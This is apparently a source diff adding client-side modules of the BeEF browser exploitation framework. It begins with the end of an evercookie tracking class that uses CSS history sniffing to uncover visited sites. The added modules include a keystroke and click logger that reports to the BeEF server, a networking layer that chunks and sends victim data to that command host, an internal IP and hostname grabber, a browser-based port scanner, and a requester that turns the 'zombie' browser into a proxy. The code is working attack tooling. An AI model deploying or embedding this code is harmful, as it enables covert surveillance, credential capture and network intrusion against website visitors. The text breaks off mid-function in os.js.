// private method for UTF-8 encoding
|
||||
this._utf8_encode = function (string) {
|
||||
string = string.replace(/\r\n/g,"\n");
|
||||
var utftext = "";
|
||||
|
||||
for (var n = 0; n < string.length; n++) {
|
||||
|
||||
var c = string.charCodeAt(n);
|
||||
|
||||
if (c < 128) {
|
||||
utftext += String.fromCharCode(c);
|
||||
}
|
||||
else if((c > 127) && (c < 2048)) {
|
||||
utftext += String.fromCharCode((c >> 6) | 192);
|
||||
utftext += String.fromCharCode((c & 63) | 128);
|
||||
}
|
||||
else {
|
||||
utftext += String.fromCharCode((c >> 12) | 224);
|
||||
utftext += String.fromCharCode(((c >> 6) & 63) | 128);
|
||||
utftext += String.fromCharCode((c & 63) | 128);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return utftext;
|
||||
}
|
||||
|
||||
// private method for UTF-8 decoding
|
||||
this._utf8_decode = function (utftext) {
|
||||
var string = "";
|
||||
var i = 0;
|
||||
var c = c1 = c2 = 0;
|
||||
|
||||
while ( i < utftext.length ) {
|
||||
|
||||
c = utftext.charCodeAt(i);
|
||||
|
||||
if (c < 128) {
|
||||
string += String.fromCharCode(c);
|
||||
i++;
|
||||
}
|
||||
else if((c > 191) && (c < 224)) {
|
||||
c2 = utftext.charCodeAt(i+1);
|
||||
string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
|
||||
i += 2;
|
||||
}
|
||||
else {
|
||||
c2 = utftext.charCodeAt(i+1);
|
||||
c3 = utftext.charCodeAt(i+2);
|
||||
string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
|
||||
i += 3;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return string;
|
||||
}
|
||||
|
||||
// this is crazy but it's 4am in dublin and i thought this would be hilarious
|
||||
// blame the guinness
|
||||
this.evercookie_history = function(name, value)
|
||||
{
|
||||
// - is special
|
||||
var baseStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-";
|
||||
var baseElems = baseStr.split("");
|
||||
|
||||
// sorry google.
|
||||
var url = 'http://www.google.com/evercookie/cache/' + this.getHost() + '/' + name;
|
||||
|
||||
if (typeof(value) != "undefined")
|
||||
{
|
||||
// don't reset this if we already have it set once
|
||||
// too much data and you can't clear previous values
|
||||
if (this.hasVisited(url))
|
||||
return;
|
||||
|
||||
this.createIframe(url, 'if');
|
||||
url = url + '/';
|
||||
|
||||
var base = this.encode(value).split("");
|
||||
for (var i = 0; i < base.length; i++)
|
||||
{
|
||||
url = url + base[i];
|
||||
this.createIframe(url, 'if' + i);
|
||||
}
|
||||
|
||||
// - signifies the end of our data
|
||||
url = url + '-';
|
||||
this.createIframe(url, 'if_');
|
||||
}
|
||||
else
|
||||
{
|
||||
// omg you got csspwn3d
|
||||
if (this.hasVisited(url))
|
||||
{
|
||||
url = url + '/';
|
||||
|
||||
var letter = "";
|
||||
var val = "";
|
||||
var found = 1;
|
||||
while (letter != '-' && found == 1)
|
||||
{
|
||||
found = 0;
|
||||
for (var i = 0; i < baseElems.length; i++)
|
||||
{
|
||||
if (this.hasVisited(url + baseElems[i]))
|
||||
{
|
||||
letter = baseElems[i];
|
||||
if (letter != '-')
|
||||
val = val + letter;
|
||||
url = url + letter;
|
||||
found = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// lolz
|
||||
return this.decode(val);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
this.createElem = function(type, name, append)
|
||||
{
|
||||
var el;
|
||||
if (typeof name != 'undefined' && document.getElementById(name))
|
||||
el = document.getElementById(name);
|
||||
else
|
||||
el = document.createElement(type);
|
||||
el.style.visibility = 'hidden';
|
||||
el.style.position = 'absolute';
|
||||
|
||||
if (name)
|
||||
el.setAttribute('id', name);
|
||||
|
||||
if (append)
|
||||
document.body.appendChild(el);
|
||||
|
||||
return el;
|
||||
}
|
||||
|
||||
this.createIframe = function(url, name)
|
||||
{
|
||||
var el = this.createElem('iframe', name, 1);
|
||||
el.setAttribute('src', url);
|
||||
return el;
|
||||
}
|
||||
|
||||
// wait for our swfobject to appear (swfobject.js to load)
|
||||
this.waitForSwf = function(i)
|
||||
{
|
||||
if (typeof i == 'undefined')
|
||||
i = 0;
|
||||
else
|
||||
i++;
|
||||
|
||||
// wait for ~2 seconds for swfobject to appear
|
||||
if (i < _ec_tests && typeof swfobject == 'undefined')
|
||||
setTimeout(function() { waitForSwf(i) }, 300);
|
||||
}
|
||||
|
||||
this.evercookie_cookie = function(name, value)
|
||||
{
|
||||
if (typeof(value) != "undefined")
|
||||
{
|
||||
// expire the cookie first
|
||||
document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
|
||||
document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
|
||||
}
|
||||
else
|
||||
return this.getFromStr(name, document.cookie);
|
||||
}
|
||||
|
||||
// get value from param-like string (eg, "x=y&name=VALUE")
|
||||
this.getFromStr = function(name, text)
|
||||
{
|
||||
if (typeof text != 'string')
|
||||
return;
|
||||
|
||||
var nameEQ = name + "=";
|
||||
var ca = text.split(/[;&]/);
|
||||
for (var i = 0; i < ca.length; i++)
|
||||
{
|
||||
var c = ca[i];
|
||||
while (c.charAt(0) == ' ')
|
||||
c = c.substring(1, c.length);
|
||||
if (c.indexOf(nameEQ) == 0)
|
||||
return c.substring(nameEQ.length, c.length);
|
||||
}
|
||||
}
|
||||
|
||||
this.getHost = function()
|
||||
{
|
||||
var domain = document.location.host;
|
||||
if (domain.indexOf('www.') == 0)
|
||||
domain = domain.replace('www.', '');
|
||||
return domain;
|
||||
}
|
||||
|
||||
this.toHex = function(str)
|
||||
{
|
||||
var r = "";
|
||||
var e = str.length;
|
||||
var c = 0;
|
||||
var h;
|
||||
while (c < e)
|
||||
{
|
||||
h = str.charCodeAt(c++).toString(16);
|
||||
while (h.length < 2)
|
||||
h = "0" + h;
|
||||
r += h;
|
||||
}
|
||||
return r;
|
||||
}
|
||||
|
||||
this.fromHex = function(str)
|
||||
{
|
||||
var r = "";
|
||||
var e = str.length;
|
||||
var s;
|
||||
while (e >= 0)
|
||||
{
|
||||
s = e - 2;
|
||||
r = String.fromCharCode("0x" + str.substring(s, e)) + r;
|
||||
e = s;
|
||||
}
|
||||
return r;
|
||||
}
|
||||
|
||||
/*
|
||||
* css history knocker (determine what sites your visitors have been to)
|
||||
*
|
||||
* originally by Jeremiah Grossman
|
||||
* http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
|
||||
*
|
||||
* ported to additional browsers by Samy Kamkar
|
||||
*
|
||||
* compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari, chrome, flock
|
||||
*
|
||||
* - code@samy.pl
|
||||
*/
|
||||
|
||||
|
||||
this.hasVisited = function(url)
|
||||
{
|
||||
if (this.no_color == -1)
|
||||
{
|
||||
var no_style = this._getRGB("http://samy-was-here-this-should-never-be-visited.com", -1);
|
||||
if (no_style == -1)
|
||||
this.no_color =
|
||||
this._getRGB("http://samy-was-here-"+Math.floor(Math.random()*9999999)+"rand.com");
|
||||
}
|
||||
|
||||
// did we give full url?
|
||||
if (url.indexOf('https:') == 0 || url.indexOf('http:') == 0)
|
||||
return this._testURL(url, this.no_color);
|
||||
|
||||
// if not, just test a few diff types if (exact)
|
||||
return this._testURL("http://" + url, this.no_color) ||
|
||||
this._testURL("https://" + url, this.no_color) ||
|
||||
this._testURL("http://www." + url, this.no_color) ||
|
||||
this._testURL("https://www." + url, this.no_color);
|
||||
}
|
||||
|
||||
/* create our anchor tag */
|
||||
var _link = this.createElem('a', '_ec_rgb_link');
|
||||
|
||||
/* for monitoring */
|
||||
var created_style;
|
||||
|
||||
/* create a custom style tag for the specific link. Set the CSS visited selector to a known value */
|
||||
var _cssText = '#_ec_rgb_link:visited{display:none;color:#FF0000}';
|
||||
|
||||
/* Methods for IE6, IE7, FF, Opera, and Safari */
|
||||
try {
|
||||
created_style = 1;
|
||||
var style = document.createElement('style');
|
||||
if (style.styleSheet)
|
||||
style.styleSheet.innerHTML = _cssText;
|
||||
else if (style.innerHTML)
|
||||
style.innerHTML = _cssText;
|
||||
else
|
||||
{
|
||||
var cssT = document.createTextNode(_cssText);
|
||||
style.appendChild(cssT);
|
||||
}
|
||||
} catch (e) {
|
||||
created_style = 0;
|
||||
}
|
||||
|
||||
/* if test_color, return -1 if we can't set a style */
|
||||
this._getRGB = function(u, test_color)
|
||||
{
|
||||
if (test_color && created_style == 0)
|
||||
return -1;
|
||||
|
||||
/* create the new anchor tag with the appropriate URL information */
|
||||
_link.href = u;
|
||||
_link.innerHTML = u;
|
||||
// not sure why, but the next two appendChilds always have to happen vs just once
|
||||
document.body.appendChild(style);
|
||||
document.body.appendChild(_link);
|
||||
|
||||
/* add the link to the DOM and save the visible computed color */
|
||||
var color;
|
||||
if (document.defaultView)
|
||||
color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
|
||||
else
|
||||
color = _link.currentStyle['color'];
|
||||
|
||||
return color;
|
||||
}
|
||||
|
||||
this._testURL = function(url, no_color)
|
||||
{
|
||||
var color = this._getRGB(url);
|
||||
|
||||
/* check to see if the link has been visited if the computed color is red */
|
||||
if (color == "rgb(255, 0, 0)" || color == "#ff0000")
|
||||
return 1;
|
||||
|
||||
/* if our style trick didn't work, just compare default style colors */
|
||||
else if (no_color && color != no_color)
|
||||
return 1;
|
||||
|
||||
/* not found */
|
||||
return 0;
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
return _class;
|
||||
})();
|
||||
|
||||
|
||||
/*
|
||||
* Again, ugly workaround....same problem as flash.
|
||||
*/
|
||||
var _global_isolated;
|
||||
function onSilverlightLoad(sender, args) {
|
||||
var control = sender.getHost();
|
||||
_global_isolated = control.Content.App.getIsolatedStorage();
|
||||
}
|
||||
/*
|
||||
function onSilverlightError(sender, args) {
|
||||
_global_isolated = "";
|
||||
|
||||
}*/
|
||||
function onSilverlightError(sender, args) {
|
||||
_global_isolated = "";
|
||||
}
|
||||
16
core/main/client/lib/jquery-1.5.min.js
vendored
Normal file
16
core/main/client/lib/jquery-1.5.min.js
vendored
Normal file
File diff suppressed because one or more lines are too long
200
core/main/client/logger.js
Normal file
200
core/main/client/logger.js
Normal file
@@ -0,0 +1,200 @@
|
||||
/*!
|
||||
* @literal object: beef.logger
|
||||
*
|
||||
* Provides logging capabilities.
|
||||
*/
|
||||
beef.logger = {
|
||||
|
||||
running: false,
|
||||
/**
|
||||
* Internal logger id
|
||||
*/
|
||||
id: 0,
|
||||
/**
|
||||
* Holds events created by user, to be sent back to BeEF
|
||||
*/
|
||||
events: [],
|
||||
/**
|
||||
* Holds current stream of key presses
|
||||
*/
|
||||
stream: [],
|
||||
/**
|
||||
* Contains current target of key presses
|
||||
*/
|
||||
target: null,
|
||||
/**
|
||||
* Holds the time the logger was started
|
||||
*/
|
||||
time: null,
|
||||
/**
|
||||
* Holds the event details to be sent to BeEF
|
||||
*/
|
||||
e: function() {
|
||||
this.id = beef.logger.get_id();
|
||||
this.time = beef.logger.get_timestamp();
|
||||
this.type = null;
|
||||
this.x = 0;
|
||||
this.y = 0;
|
||||
this.target = null;
|
||||
this.data = null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Starts the logger
|
||||
*/
|
||||
start: function() {
|
||||
this.running = true;
|
||||
var d = new Date();
|
||||
this.time = d.getTime();
|
||||
$j(document).keypress(
|
||||
function(e) { beef.logger.keypress(e); }
|
||||
).click(
|
||||
function(e) { beef.logger.click(e); }
|
||||
);
|
||||
$j(window).focus(
|
||||
function(e) { beef.logger.win_focus(e); }
|
||||
).blur(
|
||||
function(e) { beef.logger.win_blur(e); }
|
||||
);
|
||||
/*$j('form').submit(
|
||||
function(e) { beef.logger.submit(e); }
|
||||
);*/
|
||||
},
|
||||
|
||||
/**
|
||||
* Stops the logger
|
||||
*/
|
||||
stop: function() {
|
||||
this.running = false;
|
||||
clearInterval(this.timer);
|
||||
$j(document).keypress(null);
|
||||
},
|
||||
|
||||
/**
|
||||
* Get id
|
||||
*/
|
||||
get_id: function() {
|
||||
this.id++;
|
||||
return this.id;
|
||||
},
|
||||
|
||||
/**
|
||||
* Click function fires when the user clicks the mouse.
|
||||
*/
|
||||
click: function(e) {
|
||||
var c = new beef.logger.e();
|
||||
c.type = 'click';
|
||||
c.x = e.pageX;
|
||||
c.y = e.pageY;
|
||||
c.target = beef.logger.get_dom_identifier(e.target);
|
||||
this.events.push(c);
|
||||
},
|
||||
|
||||
/**
|
||||
* Fires when the window element has regained focus
|
||||
*/
|
||||
win_focus: function(e) {
|
||||
var f = new beef.logger.e();
|
||||
f.type = 'focus';
|
||||
this.events.push(f);
|
||||
},
|
||||
|
||||
/**
|
||||
* Fires when the window element has lost focus
|
||||
*/
|
||||
win_blur: function(e) {
|
||||
var b = new beef.logger.e();
|
||||
b.type = 'blur';
|
||||
this.events.push(b);
|
||||
},
|
||||
|
||||
/**
|
||||
* Keypress function fires everytime a key is pressed.
|
||||
* @param {Object} e: event object
|
||||
*/
|
||||
keypress: function(e) {
|
||||
if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
|
||||
{
|
||||
beef.logger.push_stream();
|
||||
this.target = e.target;
|
||||
}
|
||||
this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});
|
||||
},
|
||||
|
||||
/**
|
||||
* Is called whenever a form is submitted
|
||||
* TODO: Cleanup this function
|
||||
*/
|
||||
submit: function(e) {
|
||||
/*this.events.push('Form submission: Action: '+$j(e.target).attr('action')+' Method: '+$j(e.target).attr('method')+' @ '+beef.logger.get_timestamp()+'s > '+beef.logger.get_dom_identifier(e.target));*/
|
||||
},
|
||||
|
||||
/**
|
||||
* Pushes the current stream to the events queue
|
||||
*/
|
||||
push_stream: function() {
|
||||
if (this.stream.length > 0)
|
||||
{
|
||||
this.events.push(beef.logger.parse_stream());
|
||||
this.stream = [];
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Translate DOM Object to a readable string
|
||||
*/
|
||||
get_dom_identifier: function(target) {
|
||||
target = (target == null) ? this.target : target;
|
||||
var id = '';
|
||||
if (target)
|
||||
{
|
||||
id = target.tagName.toLowerCase();
|
||||
id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
|
||||
id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
|
||||
}
|
||||
return id;
|
||||
},
|
||||
|
||||
/**
|
||||
* Formats the timestamp
|
||||
* @return {String} timestamp string
|
||||
*/
|
||||
get_timestamp: function() {
|
||||
var d = new Date();
|
||||
return ((d.getTime() - this.time) / 1000).toFixed(3);
|
||||
},
|
||||
|
||||
/**
|
||||
* Parses stream array and creates history string
|
||||
*/
|
||||
parse_stream: function() {
|
||||
var s = '';
|
||||
for (var i in this.stream)
|
||||
{
|
||||
//s += (this.stream[i]['modifiers']['alt']) ? '*alt* ' : '';
|
||||
//s += (this.stream[i]['modifiers']['ctrl']) ? '*ctrl* ' : '';
|
||||
//s += (this.stream[i]['modifiers']['shift']) ? 'Shift+' : '';
|
||||
s += String.fromCharCode(this.stream[i]['char']);
|
||||
}
|
||||
var k = new beef.logger.e();
|
||||
k.type = 'keys';
|
||||
k.target = beef.logger.get_dom_identifier();
|
||||
k.data = s;
|
||||
return k;
|
||||
},
|
||||
|
||||
/**
|
||||
* Queue results to be sent back to framework
|
||||
*/
|
||||
queue: function() {
|
||||
beef.logger.push_stream();
|
||||
if (this.events.length > 0)
|
||||
{
|
||||
beef.net.queue('/event', 0, this.events);
|
||||
this.events = [];
|
||||
}
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.logger');
|
||||
215
core/main/client/net.js
Normal file
215
core/main/client/net.js
Normal file
@@ -0,0 +1,215 @@
|
||||
/*!
|
||||
* @literal object: beef.net
|
||||
*
|
||||
* Provides basic networking functions.
|
||||
*/
|
||||
beef.net = {
|
||||
|
||||
host: "<%= @beef_host %>",
|
||||
port: "<%= @beef_port %>",
|
||||
hook: "<%= @beef_hook %>",
|
||||
handler: '/dh',
|
||||
chop: 1000,
|
||||
pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
|
||||
sid_count: 0,
|
||||
cmd_queue: [],
|
||||
|
||||
//Command object
|
||||
command: function() {
|
||||
this.cid = null;
|
||||
this.results = null;
|
||||
this.handler = null;
|
||||
this.callback = null;
|
||||
this.results = null;
|
||||
},
|
||||
|
||||
//Packet object
|
||||
packet: function() {
|
||||
this.id = null;
|
||||
this.data = null;
|
||||
},
|
||||
|
||||
//Stream object
|
||||
stream: function() {
|
||||
this.id = null;
|
||||
this.packets = [];
|
||||
this.pc = 0;
|
||||
this.get_base_url_length = function() {
|
||||
return (this.url+this.handler+'?'+'bh='+beef.session.get_hook_session_id()).length;
|
||||
},
|
||||
this.get_packet_data = function() {
|
||||
var p = this.packets.shift();
|
||||
return {'bh':beef.session.get_hook_session_id(), 'sid':this.id, 'pid':p.id, 'pc':this.pc, 'd':p.data }
|
||||
};
|
||||
},
|
||||
|
||||
/**
|
||||
* Response Object - returned from beef.net.request with result of request
|
||||
*/
|
||||
response: function() {
|
||||
this.status_code = null; // 500, 404, 200, 302
|
||||
this.response_body = null; // "<html>…." if not a cross domain request
|
||||
this.port_status = null; // tcp port is open, closed or not http
|
||||
this.was_cross_domain = null; // true or false
|
||||
this.was_timedout = null; // the user specified timeout was reached
|
||||
this.duration = null; // how long it took for the request to complete
|
||||
},
|
||||
|
||||
//Queues the command, to be sent back to the framework on the next refresh
|
||||
queue: function(handler, cid, results, callback) {
|
||||
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function'))
|
||||
{
|
||||
var s = new beef.net.command();
|
||||
s.cid = cid;
|
||||
s.results = beef.net.clean(results);
|
||||
s.callback = callback;
|
||||
s.handler = handler;
|
||||
this.cmd_queue.push(s);
|
||||
}
|
||||
},
|
||||
|
||||
//Queues the current command and flushes the queue straight away
|
||||
send: function(handler, cid, results, callback) {
|
||||
this.queue(handler, cid, results, callback);
|
||||
this.flush();
|
||||
},
|
||||
|
||||
//Flush all currently queued commands to the framework
|
||||
flush: function() {
|
||||
if (this.cmd_queue.length > 0)
|
||||
{
|
||||
var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
|
||||
this.cmd_queue.length = 0;
|
||||
this.sid_count++;
|
||||
var stream = new this.stream();
|
||||
stream.id = this.sid_count;
|
||||
var pad = stream.get_base_url_length() + this.pad;
|
||||
//cant continue if chop amount is too low
|
||||
if ((this.chop - pad) > 0)
|
||||
{
|
||||
var data = this.chunk(data, (this.chop - pad));
|
||||
for (var i = 1; i <= data.length; i++)
|
||||
{
|
||||
var packet = new this.packet();
|
||||
packet.id = i;
|
||||
packet.data = data[(i-1)];
|
||||
stream.packets.push(packet);
|
||||
}
|
||||
stream.pc = stream.packets.length;
|
||||
this.push(stream);
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
//Split string into chunk lengths determined by amount
|
||||
chunk: function(str, amount) {
|
||||
if (typeof amount == 'undefined') n=2;
|
||||
return str.match(RegExp('.{1,'+amount+'}','g'));
|
||||
},
|
||||
|
||||
//Push packets to framework
|
||||
push: function(stream) {
|
||||
//need to implement wait feature here eventually
|
||||
for (var i = 0; i < stream.pc; i++)
|
||||
{
|
||||
this.request('http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
*Performs http requests
|
||||
* @param: {String} scheme: HTTP or HTTPS
|
||||
* @param: {String} method: GET or POST
|
||||
* @param: {String} domain: bindshell.net, 192.168.3.4, etc
|
||||
* @param: {Int} port: 80, 5900, etc
|
||||
* @param: {String} path: /path/to/resource
|
||||
* @param: {String} anchor: this is the value that comes after the # in the URL
|
||||
* @param: {String} data: This will be used as the query string for a GET or post data for a POST
|
||||
* @param: {Int} timeout: timeout the request after N seconds
|
||||
* @param: {String} dataType: specify the data return type expected (ie text/html/script)
|
||||
* @param: {Funtion} callback: call the callback function at the completion of the method
|
||||
*
|
||||
* @return: {Object} response: this object contains the response details
|
||||
*/
|
||||
request: function(scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
|
||||
//check if same domain or cross domain
|
||||
cross_domain = (document.domain == domain) ? false : true;
|
||||
|
||||
//build the url
|
||||
var url = scheme+"://"+domain;
|
||||
url = (port != null) ? url+":"+port : url;
|
||||
url = (path != null) ? url+path : url;
|
||||
url = (anchor != null) ? url+"#"+anchor : url;
|
||||
|
||||
//define response object
|
||||
var response = new this.response;
|
||||
response.was_cross_domain = cross_domain;
|
||||
|
||||
var start_time = new Date().getTime();
|
||||
//build and execute request
|
||||
$j.ajax({type: method,
|
||||
dataType: dataType,
|
||||
url: url,
|
||||
data: data,
|
||||
timeout: (timeout * 1000),
|
||||
//function on success
|
||||
success: function(data, textStatus, jqXHR){
|
||||
var end_time = new Date().getTime();
|
||||
response.status_code = textStatus;
|
||||
response.response_body = data;
|
||||
response.port_status = "open";
|
||||
response.was_timedout = false;
|
||||
response.duration = (end_time - start_time);
|
||||
},
|
||||
//function on failure
|
||||
error: function(jqXHR, textStatus, errorThrown){
|
||||
var end_time = new Date().getTime();
|
||||
if (textStatus == "timeout"){
|
||||
response.was_timedout = true;
|
||||
};
|
||||
response.status_code = textStatus;
|
||||
response.duration = (end_time - start_time);
|
||||
},
|
||||
//function on completion
|
||||
complete: function(transport) {
|
||||
response.status_code = transport.status;
|
||||
}
|
||||
}).done(function() { if (callback != null) { callback(response); } });
|
||||
return response;
|
||||
},
|
||||
|
||||
//this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
|
||||
//http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
|
||||
clean: function(r) {
|
||||
if (this.array_has_string_key(r)) {
|
||||
var obj = {};
|
||||
for (var key in r)
|
||||
obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
|
||||
return obj;
|
||||
}
|
||||
return r;
|
||||
},
|
||||
|
||||
//Detects if an array has a string key
|
||||
array_has_string_key: function(arr) {
|
||||
if ($j.isArray(arr))
|
||||
{
|
||||
try {
|
||||
for (var key in arr)
|
||||
if (isNaN(parseInt(key))) return true;
|
||||
} catch (e) { }
|
||||
}
|
||||
return false;
|
||||
},
|
||||
|
||||
//Sends back browser details to framework
|
||||
browser_details: function() {
|
||||
var details = beef.browser.getDetails();
|
||||
details['HookSessionID'] = beef.session.get_hook_session_id();
|
||||
this.send('/init', 0, details);
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
|
||||
beef.regCmp('beef.net');
|
||||
67
core/main/client/net/local.js
Normal file
67
core/main/client/net/local.js
Normal file
@@ -0,0 +1,67 @@
|
||||
/*!
|
||||
* @literal object: beef.net.local
|
||||
*
|
||||
* Provides networking functions for the local/internal network of the zombie.
|
||||
*/
|
||||
beef.net.local = {
|
||||
|
||||
sock: false,
|
||||
|
||||
/**
|
||||
* Initializes the java socket. We have to use this method because
|
||||
* some browsers do not have java installed or it is not accessible.
|
||||
* in which case creating a socket directly generates an error. So this code
|
||||
* is invalid:
|
||||
* sock: new java.net.Socket();
|
||||
*/
|
||||
initializeSocket: function() {
|
||||
if(! beef.browser.hasJava()) return -1;
|
||||
|
||||
try {
|
||||
this.sock = new java.net.Socket();
|
||||
} catch(e) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 1;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the internal IP address of the zombie.
|
||||
* @return: {String} the internal ip of the zombie.
|
||||
* @error: return -1 if the internal ip cannot be retrieved.
|
||||
*/
|
||||
getLocalAddress: function() {
|
||||
if(! beef.browser.hasJava()) return false;
|
||||
|
||||
this.initializeSocket();
|
||||
|
||||
try {
|
||||
this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
|
||||
this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
|
||||
|
||||
return this.sock.getLocalAddress().getHostAddress();
|
||||
} catch(e) { return false; }
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the internal hostname of the zombie.
|
||||
* @return: {String} the internal hostname of the zombie.
|
||||
* @error: return -1 if the hostname cannot be retrieved.
|
||||
*/
|
||||
getLocalHostname: function() {
|
||||
if(! beef.browser.hasJava()) return false;
|
||||
|
||||
this.initializeSocket();
|
||||
|
||||
try {
|
||||
this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
|
||||
this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
|
||||
|
||||
return this.sock.getLocalAddress().getHostName();
|
||||
} catch(e) { return false; }
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.net.local');
|
||||
48
core/main/client/net/portscanner.js
Normal file
48
core/main/client/net/portscanner.js
Normal file
@@ -0,0 +1,48 @@
|
||||
/*!
|
||||
* @literal object: beef.net.portscanner
|
||||
*
|
||||
* Provides port scanning functions for the zombie. A mod of pdp's scanner
|
||||
*
|
||||
* Version: '0.1',
|
||||
* author: 'Petko Petkov',
|
||||
* homepage: 'http://www.gnucitizen.org'
|
||||
*/
|
||||
|
||||
beef.net.portscanner = {
|
||||
|
||||
scanPort: function(callback, target, port, timeout)
|
||||
{
|
||||
var timeout = (timeout == null)?100:timeout;
|
||||
var img = new Image();
|
||||
|
||||
img.onerror = function () {
|
||||
if (!img) return;
|
||||
img = undefined;
|
||||
callback(target, port, 'open');
|
||||
};
|
||||
|
||||
img.onload = img.onerror;
|
||||
|
||||
img.src = 'http://' + target + ':' + port;
|
||||
|
||||
setTimeout(function () {
|
||||
if (!img) return;
|
||||
img = undefined;
|
||||
callback(target, port, 'closed');
|
||||
}, timeout);
|
||||
|
||||
},
|
||||
|
||||
scanTarget: function(callback, target, ports_str, timeout)
|
||||
{
|
||||
var ports = ports_str.split(",");
|
||||
|
||||
for (index = 0; index < ports.length; index++) {
|
||||
this.scanPort(callback, target, ports[index], timeout);
|
||||
};
|
||||
|
||||
}
|
||||
};
|
||||
|
||||
beef.regCmp('beef.net.portscanner');
|
||||
|
||||
24
core/main/client/net/requester.js
Normal file
24
core/main/client/net/requester.js
Normal file
@@ -0,0 +1,24 @@
|
||||
/*!
|
||||
* @literal object: beef.net.requester
|
||||
*
|
||||
* request object structure:
|
||||
* + method: {String} HTTP method to use (GET or POST).
|
||||
* + host: {String} hostname
|
||||
* + query_string: {String} The query string is a part of the URL which is passed to the program.
|
||||
* + uri: {String} The URI syntax consists of a URI scheme name.
|
||||
* + headers: {Array} contain the operating parameters of the HTTP request.
|
||||
*/
|
||||
beef.net.requester = {
|
||||
|
||||
handler: "requester",
|
||||
|
||||
send: function(requests_array) {
|
||||
for (i in requests_array) {
|
||||
request = requests_array[i];
|
||||
beef.net.request('http', request.method, request.host, request.port, request.uri, null, null, 10, 'HTML', function(res) { beef.net.send('/requester', request.id, res.response_body); });
|
||||
}
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.net.requester');
|
||||
116
core/main/client/os.js
Normal file
116
core/main/client/os.js
Normal file
@@ -0,0 +1,116 @@
|
||||
beef.os = {
|
||||
|
||||
ua: navigator.userAgent,
|
||||
|
||||
isWin311: function() {
|
||||
return (this.ua.indexOf("Win16") != -1) ? true : false;
|
||||
},
|
||||
|
||||
isWinNT4: function() {
|
||||
return (this.ua.match('(Windows NT 4.0)')) ? true : false;
|
||||
},
|
||||
|
||||
isWin95: function() {
|
||||
return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
|
||||
},
|
||||
|
||||
isWin98: function() {
|
||||
return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
|
||||
},
|
||||
|
||||
isWinME: function() {
|
||||
return (this.ua.indexOf('Windows ME') != -1) ? true : false;
|
||||
},
|
||||
|
||||
isWin2000: function() {
|
||||
return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
|
||||
},
|
||||
|
||||
isWinXP: function() {
|
||||
return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
|
||||
},
|
||||
|
||||
isWinServer2003: function() {
|
||||
return (this.ua.match('(Windows NT 5.2)')) ? true : false;
|
||||
},
|
||||
|
||||
isWinVista: function() {
|
||||
return (this.ua.match('(Windows NT 6.0)')) ? true : false;
|
||||
},
|
||||
|
||||
isWin7: function() {
|
||||
return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
|
||||
},
|
||||
|
||||
isOpenBSD: function() {
|
||||
return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
|
||||
},
|
||||
|
||||
isSunOS: function() {
|
||||
return (this.ua.indexOf('SunOS') != -1) ? true : false;
|
||||
},
|
||||
|
||||
isLinux: function() {
|
||||
return (this.ua.match('(Linux)|(X11)')) ? true : false;
|
||||
},
|
||||
|
||||
isMacintosh: function() {
|
||||
return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
|
||||
},
|
||||
|
||||
isIphone: function() {
|
||||
return (this.ua.indexOf('iPhone') != -1) ? true : false;
|
||||
},
|
||||
|
||||
isIpad: function() {
|
||||
return (this.ua.indexOf('iPad') != -1) ? true : false;
|
||||
},
|
||||
|
||||
isQNX: function() {
|
||||
return (this.ua.indexOf('QNX')) ? true : false;
|
||||
},
|
||||
|
||||
isBeOS: function() {
|
||||
return (this.ua.indexOf('BeOS')) ? true : false;
|
||||
},
|
||||
|
||||
getName: function() {
|
||||
//windows
|
||||
